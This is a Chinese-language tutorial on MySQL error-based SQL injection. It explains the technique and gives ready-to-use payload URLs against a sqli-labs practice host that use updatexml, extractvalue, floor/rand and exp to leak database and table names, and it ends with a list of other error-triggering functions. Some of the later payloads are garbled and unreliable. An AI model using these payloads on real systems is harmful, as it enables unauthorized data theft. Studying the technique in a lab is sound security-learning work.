SQL注入-报错注入
报错注入
报错注入原理
利用两个报错现象来实现注入,一是利用数据本身的报错信息,多是数据本身的错误,爆出提示信息。二是利用报错函数来爆出所需信息。
报错注入的场景
适合无直接回显的sql注入,存在报错页面的回显。
常用报错函数
1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数)
语法:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
爆库名
http://192.168.1.24:83/Less-5/?id=-1‘ and updatexml(1,concat(0x7e,database(),0x7e),1) – =
爆表名
http://192.168.1.24:83/Less-5/?id=-1‘ and updatexml(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema=’security’ ) ,0x7e),1) – =
2.extractvalue()(是mysql对xml文档数据进行查询的xpath函数)
语法:
extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串
extractvalue (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc
第二个参数:XPath_string(Xpath格式的字符串),Xpath定位必须是有效的,否则会发生错误
爆库名
http://192.168.1.24:83/Less-5/?id=1‘ and extractvalue(1,concat(0x7e,database())) – =
爆表名
http://192.168.1.24:83/Less-5/?id=1‘ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) – =
3.floor()(mysql中用来取整的函数)
通过使用count()、floor()、rand()、group by四个条件形成主键重复的错误。其中:
floor(x):对参数x向下取整,比如floor(0.2)=0,floor(3.6)=3。
rand( ):生成一个0~1之间的随机浮点数。
count(*):统计某个表下总共有多少条记录。
group by x:按照(by)一定的规则(x)进行分组。
爆库名:
http://192.168.1.24:83/Less-5/?id=-1‘ and (select 1 from (select count(*),concat(database(),floor(rand(0)2))x from information_schema.tables group by x)a) – =
爆user表名:
http://192.168.1.24:83/Less-5/?id=-1‘ and (select 1 from (select count(),concat((select table_name from information_schema.tables where table_schema=’security’ limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)– +
4.exp()(此函数返回e(自然对数的底)指数X的幂值)
爆表名:
http://192.168.1.24:83/Less-5/?id=1‘ and exp(~(select * from (select database() ) a) ) – =
爆库名:
http://192.168.1.24:83/Less-5/?id=-1‘ and exp(~(select * from (select table_name from information_schema.tables where table_schema=’security’ limit 3,1) a) ) – =
注:floor和exp函数在MySQL8.0中不适用,在MySQL5.5能够正常返回错误信息!
其他报错函数(了解)
1、通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
2、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
3、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
4、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
5、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
6、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
7、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
8、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
参考文章:https://blog.csdn.net/m0_60988110/article/details/123544853